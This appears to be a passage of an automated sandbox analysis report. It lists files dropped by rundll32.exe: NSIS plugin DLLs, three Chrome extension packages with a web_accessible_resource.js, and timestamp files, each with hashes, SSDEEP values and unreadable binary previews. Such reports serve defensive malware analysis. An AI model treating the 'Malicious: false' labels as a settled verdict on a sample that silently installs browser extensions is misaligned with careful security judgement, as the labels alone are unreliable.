SHA-256:	32C3D36F38E7E8A8BAFD4A53663203EF24A10431BDA16AF9E353C7D5D108610F
SHA-512:	9115986754A74D3084DD18018E757D3B281A2C2FDE48C73B71DBA882E13BD9B2DED0E6E7F45DC5B019E6D53D086090CCB06E18E6EFEEC091F655A128510CBE51
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y..X=...=...=...=...2..._..8.......<...i..?......<...Rich=...........PE..L....W[K...........!.............p..P...............................................................................(... ...\...........\...................H.......................................................................................UPX0.....p..............................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................3.04.UPX!....

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\nsExec.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.153182156150743
Encrypted:	false
SSDEEP:	96:EjHFiKaoggCtJzTlKXb0tbo68qD853Ns7GgmkNwS3m+s:lbogRtJzTlNR8qD85uGgmkNM
MD5:	35200BE9CF105F3DEFE2AE0EE44CEA12
SHA1:	3F4A09EEB477D3F048CDFB848B95AA39B20D89DC
SHA-256:	0096AE873C75F4E4D802DC97EEC9893ACC0749A7346E63F25A8D52BA8E11C527
SHA-512:	F8F7D8A844D588C6E2D6DC54E0D4BCBB1C4229A6E8F4D110A5E3D47EB0B8B5E0860FF5D31762229A731E08D7B232468B2A78C29778A9F0C62A7381DB89175833
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,..................Rich...........PE..L...W..Y...........!......................... ...............................P.......................................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..L.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsrF22D.tmp

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.9219280948873623
Encrypted:	false
SSDEEP:	3:LKR7:2R7
MD5:	6D96EC6E528EBC2A16D11B4521EFF3A2
SHA1:	0B211FEE3F46FF7D29ED98EB0BB6F091C9CD3C53
SHA-256:	8E410EAFDA3B66325AA5C3E35578875E7F853F0FB95EF335E2D78FA3622C95AC
SHA-512:	65AA65B00D2447784F19D4FF3F52AC682F50E40B6D1FE1B95982EEC3BB54C194785D23F1B6A1024541A63E79B23E79B2A2504A91F8058FFFAC7764754D0E57FB
Malicious:	false
Preview:	1713854402

C:\Users\user\AppData\Local\Temp\nssF49D.tmp\0.crx

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4139
Entropy (8bit):	7.319029051910743
Encrypted:	false
SSDEEP:	96:F9Cd0EK29Z0LSqsAp8nX4S/PKEVcVNFIValU/qGDQ3OP:FcjySqsAinISXRVcnFIclU/qGD2M
MD5:	9A537937D9580A416358F0D52F040E2B
SHA1:	5CFC3F4C25C8BFA29D552997D571E78FF597002A
SHA-256:	309992671DED739A3E5733A1B40B4BB1DA3F08CDFE2801A3176B739F5E22CD7A
SHA-512:	F026389AEDD81079D223FFBDE0105B4CAEDF22196625D76409E89DA2883CEFB184992E94967A140C6F6032FAF03DA01F8E36672F64CAF1FCF434E4E34D3B4A8F
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........\H....T..q..f.]...]....o.m.B.g...{.z..})z,...).....;...%.oG.9.Dd....4iyf-<Hl...."G.n...P.$....z.3.8.GQOd.....RE..V.o#....Cj'.......F.\|Z...4-...-.0.J.J.2.,v.....H..gBdw...I..J.....'qs....u..f..[8..@...O..\|..p.....Y..$..).d.y.Ha.W...~..:.J.....H..........nG..&4..B..../..H.J7...O.]{b[.J...o.....4.1....;...iw..R.....:lx4.l.T...;B.!'.TbL..{.Lz...,(.h..V.>...........p-.m...}...J=V?..[...gV.?.V.\.Zs...Y..e%.K.....h........_.N.gD..G.....f.5.....f......Z........(.cKQ.............)...7....@(h.A.~..?+>.........It.....f8...PK..-.....-a{X#]8.............web_accessible_resource.js.......................j.0...y..`.)8.B..(;.....l%5...*.R..K.fa..d...dI..<.......D..Hm...k.`.g..1.>tH.w..8....P.oNh@.{jp....PxJw...5..%E.....>.........Y.....}.LF..0..q..Y.}..../.[..f......I..p"[.......U._.+....p.mK.........(.VUu.PK..-......>{X}s.............icon_128.png.....................PNG........IHDR..............>a.....pHYs..........

C:\Users\user\AppData\Local\Temp\nssF49D.tmp\1.crx

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4140
Entropy (8bit):	7.308111647979796
Encrypted:	false
SSDEEP:	96:F9+k6jygIq6SqsjX4S/PKEVcVNFIValU/qGDQtTocCl:FIfIq6SqsjISXRVcnFIclU/qGDMwl
MD5:	A9848EFB4C206FB9519C486C4DAFAE85
SHA1:	AEE643FCB59F0A97DA3AF7A8D889B934790FEFD4
SHA-256:	64B63EB34F23DF4ED6ED30CE82E0F794CD0AB5F825B81B5FD93CA2A5314FE48B
SHA-512:	CEEA963D03862109ADCC5A7AE8A7F10699752379A5C74263AC728B0F066BC4DA2966EFBB43EAA81F18AB30AF87897EF398CAD312D60C6F443E3C992C12E729F8
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........&=#b,e... .'..u..x...HLB..\|k.;9l..c..9.E.O.F....>S...t.F!.k.\|D.@\|:`...D..]'Q.~.......8<.j...l.Y....C9.t..0;.b<.T...S.t..G#..].1..}.....}..q...}.\\o..........................`.......`I.>L..3 ....p.d..!q..?..f....%.8.0......;...O...C....8[.RIX.............jzS.....Pm..;.'2.{..~...\|JL...+/i.9^n.......%.T.L{v..T....Ymv~.....=..&...#2c...xhY..EcV.......X.w...(-...#)n22.l7..\..j.4.2...XOX)[.X......g%Y...C+..@.......x^...\|JP.h..........`..U..`.A.vrI..pp.f......S.....l.....8.!.m..jY....P ..V'...v6.........>..3.H..\|nB.]Z.PK..-.....)a{X..............web_accessible_resource.js.......................j.0...y....)8...7F....g+...=U...w/].5.;.&._.'KJ....*..OK@....m.........&....i...g..n..j.....yO...st..O..2>G.....#.......u]b.8.\7.c.....X.&.=..l7.Pr.B.K......{.(.e.j"...."........7.-.s...n.m)..f......=Wg%...PK..-......>{X}s.............icon_128.png.....................PNG........IHDR..............>a.....pHYs..........

C:\Users\user\AppData\Local\Temp\nssF49D.tmp\2.crx

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4141
Entropy (8bit):	7.311993895570865
Encrypted:	false
SSDEEP:	96:F91AA9WCunDsgSqsQX4S/PKEVcVNFIValU/qGDQI0QB:FgA0nggSqsQISXRVcnFIclU/qGD10s
MD5:	015C6BAADF26FB34ABA866C97A694CA8
SHA1:	6336E8547DE4B23652972F86A50388CB5A771809
SHA-256:	446FA17B6ED7B995207FC792DF908EBA0AB1F4E1D38BECC257CC64E14B2605FA
SHA-512:	D318024E7BE0DF9F7E2DBADB3ABE20B10061629F39CCEC7DE5AAA05875BFB333375C6E8D7039227CFE2E1B8A5738E46834BE27D7EE092438DF09EEA9E390A870
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........P%e.+.J...R.......?_.ZD.....M..0.....V.0....;.;....B)..,.$..^.K..Z..c.l.....c..,p.E.>.Eu.kr..D....Z......k.)q....D.M...Lax....R_.....M.6...'iT.......}...<~...t......$/.>......}...F7:.+v.....)..~..Y.<D..S+..HV..'...D3.......?O.......6......,}..........x..".Q...<9.i:)....t.6i.I.....F../!ln....sB........z.'..........W.>=.....J$$+(......BU...}..G.t...N.\..f...,S\|.M.U-.+....FVZ..k.Ll..F.}"...x.).+p...~U.%w;P...c.....d5%9l[L.GS$W..x.....Y...-H...w.:G..0x...W.R..B.].......^.\|..n.rwS.z.>).......U...Z..6..g.n..PK..-......a{X................web_accessible_resource.js.......................j.0...y....)8..Qv.ue...JjpmOU.e..K.d..N......R.y.........Z!.-.....>...G.t.aD....g.Z.sB.r.S.c.....S.#...../)....=.v$..D]..%.:.&....e2....e../.M>.....R.E~b...1Ja....'.......?....Mq..\d,..h[.&...e?8`..YI....PK..-......>{X}s.............icon_128.png.....................PNG........IHDR..............>a.....pHYs..........

C:\Users\user\AppData\Local\Temp\nssF49D.tmp\IpConfig.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	120832
Entropy (8bit):	6.400554530834415
Encrypted:	false
SSDEEP:	3072:oa/4Ftm9rSlia00FW96LOsWNQmtQ9WVx95+tTIJ:t/4S9raiae8DSDtQ9W3utEJ
MD5:	A75E3775DAAC9958610CE1308E0BCA3B
SHA1:	D83CE354CDE527C2E20FB425415F6D4795DD4CD4
SHA-256:	FE2093FF4BFA1D7259C922ACA1E7BB219C4D234E469942446D9E2F8086B7D720
SHA-512:	48168A91EC90DF262B1E158F32B4BC2A6D6CE10022EB96D4A6F3C755B977E5C104558626ADAA214BDA29D7F1D246F19E2DF59B9A338982AA1C623E1BDD5714C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........M#..,M..,M..,M..T...,M..T...,M..T...,M... ..,M..~...,M...6..,M..,L..,M..T...,M..T...,M..T...,M.Rich.,M.........................PE..L....uBJ...........!.....L..........B(.......`...............................p......................................p...-......d....@.......................P..d....a..............................p...@............`..p............................text....K.......L.................. ..`.rdata...S...`...T...P..............@..@.data...8...........................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nssF49D.tmp\MoreInfo.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	4.187951966863344
Encrypted:	false
SSDEEP:	96:LEjAlUFPxXJugoImuaKbkBSEPTpsxKaVQ4Ad:gjAiFPxXJugoImJKQk8yxKaVVe
MD5:	BD393029CC49B415B6C9AEB8A4936516
SHA1:	C67FD92FFFD18941BED41BFD6AC4F3B04FD123DF
SHA-256:	227A4FC9408A44FAA5ECA608A974BD536814F97B8A4D28B4CAC479727167B026
SHA-512:	3BB8E5CF4BEA7E8ADAA62196E58FFF9031F49FD4EFA78E5BD3E4B9C4E9BA1523864567521793053595D90ABEC719761A5964FF3ABE04B93B24D52E5FFA4C1F96
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................P......3.........3.....3.....3.........3.....Rich...........PE..L...'.\|K...........!......................... ...............................`......................................#......@"..P....@..h....................P..\|...@ ............................................... ..8............................text...,........................... ..`.rdata....... ......................@..@.data...,....0......................@....rsrc...h....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nssF49D.tmp\SimpleSC.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	62976
Entropy (8bit):	6.324320451317714
Encrypted:	false
SSDEEP:	1536:i/qXv1si+Xsp9MNptZ8KMT6+nMA4fx+kmA:Bv1EXZnLMT5M3x+km
MD5:	D63975CE28F801F236C4ACA5AF726961
SHA1:	3D93AD9816D3B3DBA1E63DFCBFA3BD05F787A8C9
SHA-256:	E0C580BBE48A483075C21277C6E0F23F3CBD6CE3EB2CCD3BF48CF68F05628F43
SHA-512:	8357E1955560BF0C42A8F4091550C87C19B4939BF1E6A53A54173D1C163B133B9C517014AF6F7614EDDC0C9BBF93B3B987C4977B024B10B05B3DC4EB20141810
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................4......`.............@..........................0..................................................R.... ..............................................................................................................CODE....x........................... ..`DATA....@...........................@...BSS.....y................................idata..R...........................@....edata..............................@..P.reloc..............................@..P.rsrc........ ......................@..P.............0......................@..P................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nssF49D.tmp\System.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659026618805001
Encrypted:	false
SSDEEP:	192:eX24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlqSlS:D8QIl972eXqlWBFSt273YOlqz
MD5:	9625D5B1754BC4FF29281D415D27A0FD
SHA1:	80E85AFC5CCCD4C0A3775EDBB90595A1A59F5CE0
SHA-256:	C2F405D7402F815D0C3FADD9A50F0BBBB1BAB9AA38FE347823478A2587299448
SHA-512:	DCE52B640897C2E8DBFD0A1472D5377FA91FB9CF1AEFF62604D014BCCBE5B56AF1378F173132ABEB0EDD18C225B9F8F5E3D3E72434AED946661E036C779F165B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...Y..Y...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nssF49D.tmp\inetc.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	5.282085684031262
Encrypted:	false
SSDEEP:	384:ya3Bj/GAqvdXP4P4IVlht8zNHxKNSJvor9e9dQTIHzOZwceyeZwd6TJdpq:yRtqLhtqKNS5sAvQTIB86T0
MD5:	1FC1FBB2C7A14B7901FC9ABBD6DBEF10
SHA1:	4D9ED86F31075A3D3F674FF78F39C190A4098126
SHA-256:	4F26394C93F1ACB315C42C351983DAFC7F094B2D05DB6D7A1BA7DCB39A3A599E
SHA-512:	76D8FF7FC301CC5FF966AD8BE17F0F3F2D869EF797C5A2C55A062305C02133A842906448741BF9818EC369BBB2932B9A9C2193EBC59835B50E8703DB0090FDB2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N8.W.Y...Y...Y...Y.._Y....Y..Y..l./..Y..l....Y..l.*..Y..l.)..Y..l.,..Y..Rich.Y..................PE..L......S...........!.........z.......1.......@............................................@..........................N..l....G..d...............................T....................................................@..d............................text...?-.......................... ..`.rdata.......@.......2..............@..@.data....V...P.......B..............@....rsrc................P..............@..@.reloc...............Z..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nssF49D.tmp\md5dll.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.800293106212402
Encrypted:	false
SSDEEP:	96:5mArJv6F3TqDmgK4ghEin1US36eHQZDUDgGogZcko5Nt4AMP:5XJ63LhR6inZ6dsgZkKQT
MD5:	7059F133EA2316B9E7E39094A52A8C34
SHA1:	EE9F1487C8152D8C42FECF2EFB8ED1DB68395802
SHA-256:	32C3D36F38E7E8A8BAFD4A53663203EF24A10431BDA16AF9E353C7D5D108610F
SHA-512:	9115986754A74D3084DD18018E757D3B281A2C2FDE48C73B71DBA882E13BD9B2DED0E6E7F45DC5B019E6D53D086090CCB06E18E6EFEEC091F655A128510CBE51
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y..X=...=...=...=...2..._..8.......<...i..?......<...Rich=...........PE..L....W[K...........!.............p..P...............................................................................(... ...\...........\...................H.......................................................................................UPX0.....p..............................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................3.04.UPX!....

C:\Users\user\AppData\Local\Temp\nssF49D.tmp\nsExec.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.153182156150743
Encrypted:	false
SSDEEP:	96:EjHFiKaoggCtJzTlKXb0tbo68qD853Ns7GgmkNwS3m+s:lbogRtJzTlNR8qD85uGgmkNM
MD5:	35200BE9CF105F3DEFE2AE0EE44CEA12
SHA1:	3F4A09EEB477D3F048CDFB848B95AA39B20D89DC
SHA-256:	0096AE873C75F4E4D802DC97EEC9893ACC0749A7346E63F25A8D52BA8E11C527
SHA-512:	F8F7D8A844D588C6E2D6DC54E0D4BCBB1C4229A6E8F4D110A5E3D47EB0B8B5E0860FF5D31762229A731E08D7B232468B2A78C29778A9F0C62A7381DB89175833
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,..................Rich...........PE..L...W..Y...........!......................... ...............................P.......................................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..L.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyF72E.tmp

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.721928094887362
Encrypted:	false
SSDEEP:	3:LKR6:2R6
MD5:	49661E0422D316AF73E47DF1D151EE59
SHA1:	6EC618D37B617121A3CB993F5C8654DA2DFD4077
SHA-256:	FAAE345B85FFCD3BFD5045541EDACDBB2B1E882D5BC48AEEC5E43C896B7DB6B2
SHA-512:	98DDF8A921FBAC58B0D0DFB26A0B7DA4BFC5FA99983AC135E5E1C56C33475977395911A70AB280FD412E22D85BFE401389876E367C43C939E9F62C96098129DF
Malicious:	false
Preview:	1713854403

C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\0.crx

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4139
Entropy (8bit):	7.319029051910743
Encrypted:	false
SSDEEP:	96:F9Cd0EK29Z0LSqsAp8nX4S/PKEVcVNFIValU/qGDQ3OP:FcjySqsAinISXRVcnFIclU/qGD2M
MD5:	9A537937D9580A416358F0D52F040E2B
SHA1:	5CFC3F4C25C8BFA29D552997D571E78FF597002A
SHA-256:	309992671DED739A3E5733A1B40B4BB1DA3F08CDFE2801A3176B739F5E22CD7A
SHA-512:	F026389AEDD81079D223FFBDE0105B4CAEDF22196625D76409E89DA2883CEFB184992E94967A140C6F6032FAF03DA01F8E36672F64CAF1FCF434E4E34D3B4A8F
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........\H....T..q..f.]...]....o.m.B.g...{.z..})z,...).....;...%.oG.9.Dd....4iyf-<Hl...."G.n...P.$....z.3.8.GQOd.....RE..V.o#....Cj'.......F.\|Z...4-...-.0.J.J.2.,v.....H..gBdw...I..J.....'qs....u..f..[8..@...O..\|..p.....Y..$..).d.y.Ha.W...~..:.J.....H..........nG..&4..B..../..H.J7...O.]{b[.J...o.....4.1....;...iw..R.....:lx4.l.T...;B.!'.TbL..{.Lz...,(.h..V.>...........p-.m...}...J=V?..[...gV.?.V.\.Zs...Y..e%.K.....h........_.N.gD..G.....f.5.....f......Z........(.cKQ.............)...7....@(h.A.~..?+>.........It.....f8...PK..-.....-a{X#]8.............web_accessible_resource.js.......................j.0...y..`.)8.B..(;.....l%5...*.R..K.fa..d...dI..<.......D..Hm...k.`.g..1.>tH.w..8....P.oNh@.{jp....PxJw...5..%E.....>.........Y.....}.LF..0..q..Y.}..../.[..f......I..p"[.......U._.+....p.mK.........(.VUu.PK..-......>{X}s.............icon_128.png.....................PNG........IHDR..............>a.....pHYs..........

C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\1.crx

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4140
Entropy (8bit):	7.308111647979796
Encrypted:	false
SSDEEP:	96:F9+k6jygIq6SqsjX4S/PKEVcVNFIValU/qGDQtTocCl:FIfIq6SqsjISXRVcnFIclU/qGDMwl
MD5:	A9848EFB4C206FB9519C486C4DAFAE85
SHA1:	AEE643FCB59F0A97DA3AF7A8D889B934790FEFD4
SHA-256:	64B63EB34F23DF4ED6ED30CE82E0F794CD0AB5F825B81B5FD93CA2A5314FE48B
SHA-512:	CEEA963D03862109ADCC5A7AE8A7F10699752379A5C74263AC728B0F066BC4DA2966EFBB43EAA81F18AB30AF87897EF398CAD312D60C6F443E3C992C12E729F8
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........&=#b,e... .'..u..x...HLB..\|k.;9l..c..9.E.O.F....>S...t.F!.k.\|D.@\|:`...D..]'Q.~.......8<.j...l.Y....C9.t..0;.b<.T...S.t..G#..].1..}.....}..q...}.\\o..........................`.......`I.>L..3 ....p.d..!q..?..f....%.8.0......;...O...C....8[.RIX.............jzS.....Pm..;.'2.{..~...\|JL...+/i.9^n.......%.T.L{v..T....Ymv~.....=..&...#2c...xhY..EcV.......X.w...(-...#)n22.l7..\..j.4.2...XOX)[.X......g%Y...C+..@.......x^...\|JP.h..........`..U..`.A.vrI..pp.f......S.....l.....8.!.m..jY....P ..V'...v6.........>..3.H..\|nB.]Z.PK..-.....)a{X..............web_accessible_resource.js.......................j.0...y....)8...7F....g+...=U...w/].5.;.&._.'KJ....*..OK@....m.........&....i...g..n..j.....yO...st..O..2>G.....#.......u]b.8.\7.c.....X.&.=..l7.Pr.B.K......{.(.e.j"...."........7.-.s...n.m)..f......=Wg%...PK..-......>{X}s.............icon_128.png.....................PNG........IHDR..............>a.....pHYs..........

C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\2.crx

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4141
Entropy (8bit):	7.311993895570865
Encrypted:	false
SSDEEP:	96:F91AA9WCunDsgSqsQX4S/PKEVcVNFIValU/qGDQI0QB:FgA0nggSqsQISXRVcnFIclU/qGD10s
MD5:	015C6BAADF26FB34ABA866C97A694CA8
SHA1:	6336E8547DE4B23652972F86A50388CB5A771809
SHA-256:	446FA17B6ED7B995207FC792DF908EBA0AB1F4E1D38BECC257CC64E14B2605FA
SHA-512:	D318024E7BE0DF9F7E2DBADB3ABE20B10061629F39CCEC7DE5AAA05875BFB333375C6E8D7039227CFE2E1B8A5738E46834BE27D7EE092438DF09EEA9E390A870
Malicious:	false
Preview:	Cr24....E.........0.."0....H.............0.........P%e.+.J...R.......?_.ZD.....M..0.....V.0....;.;....B)..,.$..^.K..Z..c.l.....c..,p.E.>.Eu.kr..D....Z......k.)q....D.M...Lax....R_.....M.6...'iT.......}...<~...t......$/.>......}...F7:.+v.....)..~..Y.<D..S+..HV..'...D3.......?O.......6......,}..........x..".Q...<9.i:)....t.6i.I.....F../!ln....sB........z.'..........W.>=.....J$$+(......BU...}..G.t...N.\..f...,S\|.M.U-.+....FVZ..k.Ll..F.}"...x.).+p...~U.%w;P...c.....d5%9l[L.GS$W..x.....Y...-H...w.:G..0x...W.R..B.].......^.\|..n.rwS.z.>).......U...Z..6..g.n..PK..-......a{X................web_accessible_resource.js.......................j.0...y....)8..Qv.ue...JjpmOU.e..K.d..N......R.y.........Z!.-.....>...G.t.aD....g.Z.sB.r.S.c.....S.#...../)....=.v$..D]..%.:.&....e2....e../.M>.....R.E~b...1Ja....'.......?....Mq..\d,..h[.&...e?8`..YI....PK..-......>{X}s.............icon_128.png.....................PNG........IHDR..............>a.....pHYs..........

C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\IpConfig.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	120832
Entropy (8bit):	6.400554530834415
Encrypted:	false
SSDEEP:	3072:oa/4Ftm9rSlia00FW96LOsWNQmtQ9WVx95+tTIJ:t/4S9raiae8DSDtQ9W3utEJ
MD5:	A75E3775DAAC9958610CE1308E0BCA3B
SHA1:	D83CE354CDE527C2E20FB425415F6D4795DD4CD4
SHA-256:	FE2093FF4BFA1D7259C922ACA1E7BB219C4D234E469942446D9E2F8086B7D720
SHA-512:	48168A91EC90DF262B1E158F32B4BC2A6D6CE10022EB96D4A6F3C755B977E5C104558626ADAA214BDA29D7F1D246F19E2DF59B9A338982AA1C623E1BDD5714C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........M#..,M..,M..,M..T...,M..T...,M..T...,M... ..,M..~...,M...6..,M..,L..,M..T...,M..T...,M..T...,M.Rich.,M.........................PE..L....uBJ...........!.....L..........B(.......`...............................p......................................p...-......d....@.......................P..d....a..............................p...@............`..p............................text....K.......L.................. ..`.rdata...S...`...T...P..............@..@.data...8...........................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\MoreInfo.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	4.187951966863344
Encrypted:	false
SSDEEP:	96:LEjAlUFPxXJugoImuaKbkBSEPTpsxKaVQ4Ad:gjAiFPxXJugoImJKQk8yxKaVVe
MD5:	BD393029CC49B415B6C9AEB8A4936516
SHA1:	C67FD92FFFD18941BED41BFD6AC4F3B04FD123DF
SHA-256:	227A4FC9408A44FAA5ECA608A974BD536814F97B8A4D28B4CAC479727167B026
SHA-512:	3BB8E5CF4BEA7E8ADAA62196E58FFF9031F49FD4EFA78E5BD3E4B9C4E9BA1523864567521793053595D90ABEC719761A5964FF3ABE04B93B24D52E5FFA4C1F96
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................P......3.........3.....3.....3.........3.....Rich...........PE..L...'.\|K...........!......................... ...............................`......................................#......@"..P....@..h....................P..\|...@ ............................................... ..8............................text...,........................... ..`.rdata....... ......................@..@.data...,....0......................@....rsrc...h....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\SimpleSC.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	62976
Entropy (8bit):	6.324320451317714
Encrypted:	false
SSDEEP:	1536:i/qXv1si+Xsp9MNptZ8KMT6+nMA4fx+kmA:Bv1EXZnLMT5M3x+km
MD5:	D63975CE28F801F236C4ACA5AF726961
SHA1:	3D93AD9816D3B3DBA1E63DFCBFA3BD05F787A8C9
SHA-256:	E0C580BBE48A483075C21277C6E0F23F3CBD6CE3EB2CCD3BF48CF68F05628F43
SHA-512:	8357E1955560BF0C42A8F4091550C87C19B4939BF1E6A53A54173D1C163B133B9C517014AF6F7614EDDC0C9BBF93B3B987C4977B024B10B05B3DC4EB20141810
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................4......`.............@..........................0..................................................R.... ..............................................................................................................CODE....x........................... ..`DATA....@...........................@...BSS.....y................................idata..R...........................@....edata..............................@..P.reloc..............................@..P.rsrc........ ......................@..P.............0......................@..P................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nszFA3A.tmp\System.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659026618805001
Encrypted:	false
SSDEEP:	192:eX24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlqSlS:D8QIl972eXqlWBFSt273YOlqz
MD5:	9625D5B1754BC4FF29281D415D27A0FD
SHA1:	80E85AFC5CCCD4C0A3775EDBB90595A1A59F5CE0
SHA-256:	C2F405D7402F815D0C3FADD9A50F0BBBB1BAB9AA38FE347823478A2587299448
SHA-512:	DCE52B640897C2E8DBFD0A1472D5377FA91FB9CF1AEFF62604D014BCCBE5B56AF1378F173132ABEB0EDD18C225B9F8F5E3D3E72434AED946661E036C779F165B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...Y..Y...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

